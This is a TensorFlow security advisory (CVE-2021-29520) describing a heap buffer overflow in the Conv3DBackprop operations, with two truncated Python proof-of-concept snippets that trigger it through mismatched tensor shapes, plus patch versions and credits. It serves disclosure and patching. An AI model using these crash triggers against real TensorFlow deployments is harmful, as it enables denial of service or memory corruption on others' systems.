Heap buffer overflow in `Conv3DBackprop*`

Low **mihaimaruseac** published **GHSA-wcv5-qrj6-9pfm** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

Missing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows:

```
import tensorflow as tf

input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)
filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
                             -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
                             -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[4, 1, 6, 1, 1], dtype=tf.float32)
out_backprop = tf.constant([-10.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropInputV2(input_sizes=input_sizes, filter=filter_tensor, out_backprop=out_backprop, strides=[1, 89, 29, 89, 1], padding='SAME', data_format='NDHWC', dilati
```

```
import tensorflow as tf

input_values = [-10.0] * (7 * 7 * 7 * 7 * 7 * 7)
input_values[0] = 429.6491056791816
input_sizes = tf.constant(input_values, shape=[7, 7, 7, 7, 7], dtype=tf.float32)
filter_tensor = tf.constant([7, 7, 7, 1, 1], shape=[5], dtype=tf.int32)
out_backprop = tf.constant([-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0], shape=[7, 1, 1, 1, 1], dtype=tf.float32)

tf.raw_ops.Conv3DBackpropFilterV2(input=input_sizes, filter_sizes=filter_tensor, out_backprop=out_backprop, strides=[1, 37, 65, 93, 1], padding='VALID', data_format='NDHWC', dila
```

This is because the implementation assumes that the `input`, `filter_sizes` and `out_backprop` tensors have the same shape, as they are accessed in parallel.

Patches

We have patched the issue in GitHub commit 8f37b52e1320d8d72a9529b2468277791a261197.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our securityguide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29520

Weaknesses

No CWEs